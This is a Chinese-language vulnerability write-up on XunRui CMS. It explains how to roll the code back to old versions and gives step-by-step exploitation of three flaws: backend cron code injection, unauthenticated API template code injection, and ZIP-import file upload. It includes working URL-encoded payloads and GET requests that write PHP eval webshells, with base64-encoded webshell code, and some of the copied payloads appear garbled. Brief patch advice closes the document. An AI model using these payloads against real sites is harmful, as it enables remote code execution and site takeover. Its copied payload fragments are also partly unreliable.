某CMS漏洞总结
字数 1808 2025-08-27 12:33:37

迅睿CMS漏洞分析与利用指南

1. 迅睿CMS版本切换方法

在进行漏洞复现前,需要将CMS回退到指定版本:

  1. 安装并配置好PHP与Web中间件(注意低版本需要PHP低版本)
  2. 克隆官方开源地址:https://gitee.com/dayrui/xunruicms
  3. 通过搜索commit信息里的版本号,回退到指定版本
    • 在PhpStorm中,右键指定commit版本
    • 选择"Reset Current Branch to Here"
    • 选择"Hard",点击"Reset"
  4. 访问、安装并登录后台(后台地址:/admin.php)

2. 迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞

漏洞概述

  • 影响版本:v4.3.3到v4.5.1
  • 触发条件:
    • 登录后台
    • 具有管理员或"应用"->"任务队列"的管理权限

漏洞原理

Admin/Cron.php控制器的add()函数对用户输入过滤不严,导致可向WRITEPATH.'config/cron.php'写入任意内容,且该文件会被多处包含。

漏洞分析

v4.3.3到v4.5.0版本

  1. 访问http://host:port/Admin.php?c=Cron&m=add调用add()函数
  2. 关键代码:
if (IS_AJAX_POST) {
    $post = \Phpcmf\Service::L('input')->post('data', true);
    file_put_contents(WRITEPATH.'config/cron.php', 
        '<?php defined(\'FCPATH\') OR exit(\'No direct script access allowed\');' . 
        PHP_EOL . '$json=\'' . json_encode($post) . '\';');
    // ...
}
  1. 漏洞点:$post内容未经充分过滤即写入文件,且可通过编码绕过XSS清洗

v4.5.1版本

增加了对$post内容的过滤:

$post[$key]['name'] = dr_safe_filename($t['name']);
$post[$key]['code'] = dr_safe_filename($t['code']);

但可通过修改数组key来绕过过滤。

漏洞利用

获取CSRF Token

  1. 访问http://host:port/Admin.php?c=Cron&m=add
  2. 抓取点击"保存"时的POST包
  3. 获取csrf_test_name

v4.3.3到v4.5.0利用

POST内容:

isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data%5B1%5D%5Bname%5D=&data%5B1%5D%5Bcode%5D=%5B';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php%20eval'.base64_decode('KA=POST%5B'.base64_decode('Ig==').'password'.base64_decode('Ig==').'%5D'.base64_decode('KQ=htmlspecialchars_decode('>'));return;'%5D

URL解码后:

isform=1&csrf_test_name=3318a4fabdf4ea654734315a4d508a5f&data[1][name]=&data[1][code]=[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA=POST['.base64_decode('Ig==').'password'.base64_decode('Ig=base64_decode('KQ=htmlspecialchars_decode('>'));return;']

写入cron.php的内容:

<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"","code":"[';file_put_contents('webshell.php',htmlspecialchars_decode('<').'?php eval'.base64_decode('KA=POST['.base64_decode('Ig==').'password'.base64_decode('Ig=base64_decode('KQ=htmlspecialchars_decode('>'));return;']"}}';

访问http://host:port/Admin.php?c=Cron&m=add后,会在网站根目录生成webshell.php,内容为<?php eval(@$_POST["password"]);?>

v4.5.1利用

POST内容:

isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data%5B1%5D%5Bname%5D=1&data%5B1%5D%5Bcode":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'%5D=1

URL解码后:

isform=1&csrf_test_name=9f3342fbce7b49c85f05776bf89db778&data[1][name]=1&data[1][code":"1"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;']=1

写入cron.php的内容:

<?php defined('FCPATH') OR exit('No direct script access allowed');
$json='{"1":{"name":"1","code\":\"1\"}}';eval(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3dlYnNoZWxsLnBocCcsJzw\/cGhwIGV2YWwoQCRfUE9TVFsicGFzc3dvcmQiXSk7Pz4nKTtyZXR1cm47'));return;'":"1","code":""}}';

同样会生成webshell.php文件。

3. 迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞

漏洞概述

  • 影响版本:v4.5.0到v4.5.1
  • 触发条件:无需登录,前台即可利用

漏洞利用

写入Webshell

  1. 先写入<
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=<
  1. 写入剩余语句:
/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=file_put_contents%20param0=webshell2.php%20param1=?php%0dfile_put_contents('webshell.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWyd3ZWJzaGVsbCddKTs/Pg=='));%20param2=FILE_APPEND

访问webshell2.php后会在同目录生成webshell.php,内容为<?php @eval($_POST['webshell']);?>

执行无参函数

如执行phpinfo()

/index.php?s=api&c=api&m=template&app=admin&name=api_related.html&phpcmf_dir=admin&mid=%20action=function%20name=phpinfo%20param0=-1

4. 迅睿CMS v4.5.4到v4.5.6文件上传漏洞

漏洞概述

  • 影响版本:v4.5.4到v4.5.6
  • 触发条件:
    • 登录后台
    • 具有管理员或"应用"->"联动菜单"的管理权限

漏洞利用

v4.5.4版本

  1. 创建包含Webshell的ZIP文件(如webshell.php
  2. 后台"应用"->"联动菜单"->"导入"上传ZIP
  3. 抓包获取上传路径(通常为*/cache/temp/*.zip
  4. 访问解压后的文件:
    http://domain:port/cache/temp/webshell/webshell.php

v4.5.5和v4.5.6版本

  1. 创建包含Webshell的文件夹结构:
    webshell/
    └── webshell.php
    
  2. 压缩为ZIP并上传
  3. 访问解压后的文件:
    http://domain:port/cache/temp/linkage/webshell/webshell/webshell.php

5. 总结

漏洞类型 影响版本 利用条件 利用方法
后台代码注入 v4.3.3-v4.5.1 后台管理员权限 通过任务队列功能写入恶意代码
前台代码注入 v4.5.0-v4.5.1 无需登录 通过API接口执行任意代码
文件上传 v4.5.4-v4.5.6 后台管理员权限 通过联动菜单导入功能上传恶意ZIP

建议:

  1. 及时更新到最新版本
  2. 限制后台访问权限
  3. 对上传文件进行严格过滤
  4. 禁用不必要的API功能
迅睿CMS漏洞分析与利用指南 1. 迅睿CMS版本切换方法 在进行漏洞复现前,需要将CMS回退到指定版本: 安装并配置好PHP与Web中间件(注意低版本需要PHP低版本) 克隆官方开源地址: https://gitee.com/dayrui/xunruicms 通过搜索commit信息里的版本号,回退到指定版本 在PhpStorm中,右键指定commit版本 选择"Reset Current Branch to Here" 选择"Hard",点击"Reset" 访问、安装并登录后台(后台地址:/admin.php) 2. 迅睿CMS v4.3.3到v4.5.1后台任意代码注入漏洞 漏洞概述 影响版本:v4.3.3到v4.5.1 触发条件: 登录后台 具有管理员或"应用"->"任务队列"的管理权限 漏洞原理 Admin/Cron.php 控制器的 add() 函数对用户输入过滤不严,导致可向 WRITEPATH.'config/cron.php' 写入任意内容,且该文件会被多处包含。 漏洞分析 v4.3.3到v4.5.0版本 访问 http://host:port/Admin.php?c=Cron&m=add 调用 add() 函数 关键代码: 漏洞点: $post 内容未经充分过滤即写入文件,且可通过编码绕过XSS清洗 v4.5.1版本 增加了对 $post 内容的过滤: 但可通过修改数组key来绕过过滤。 漏洞利用 获取CSRF Token 访问 http://host:port/Admin.php?c=Cron&m=add 抓取点击"保存"时的POST包 获取 csrf_test_name 值 v4.3.3到v4.5.0利用 POST内容: URL解码后: 写入 cron.php 的内容: 访问 http://host:port/Admin.php?c=Cron&m=add 后,会在网站根目录生成 webshell.php ,内容为 <?php eval(@$_POST["password"]);?> v4.5.1利用 POST内容: URL解码后: 写入 cron.php 的内容: 同样会生成 webshell.php 文件。 3. 迅睿CMS v4.5.0到v4.5.1前台代码注入漏洞 漏洞概述 影响版本:v4.5.0到v4.5.1 触发条件:无需登录,前台即可利用 漏洞利用 写入Webshell 先写入 < : 写入剩余语句: 访问 webshell2.php 后会在同目录生成 webshell.php ,内容为 <?php @eval($_POST['webshell']);?> 执行无参函数 如执行 phpinfo() : 4. 迅睿CMS v4.5.4到v4.5.6文件上传漏洞 漏洞概述 影响版本:v4.5.4到v4.5.6 触发条件: 登录后台 具有管理员或"应用"->"联动菜单"的管理权限 漏洞利用 v4.5.4版本 创建包含Webshell的ZIP文件(如 webshell.php ) 后台"应用"->"联动菜单"->"导入"上传ZIP 抓包获取上传路径(通常为 */cache/temp/*.zip ) 访问解压后的文件: http://domain:port/cache/temp/webshell/webshell.php v4.5.5和v4.5.6版本 创建包含Webshell的文件夹结构: 压缩为ZIP并上传 访问解压后的文件: http://domain:port/cache/temp/linkage/webshell/webshell/webshell.php 5. 总结 | 漏洞类型 | 影响版本 | 利用条件 | 利用方法 | |---------|---------|---------|---------| | 后台代码注入 | v4.3.3-v4.5.1 | 后台管理员权限 | 通过任务队列功能写入恶意代码 | | 前台代码注入 | v4.5.0-v4.5.1 | 无需登录 | 通过API接口执行任意代码 | | 文件上传 | v4.5.4-v4.5.6 | 后台管理员权限 | 通过联动菜单导入功能上传恶意ZIP | 建议: 及时更新到最新版本 限制后台访问权限 对上传文件进行严格过滤 禁用不必要的API功能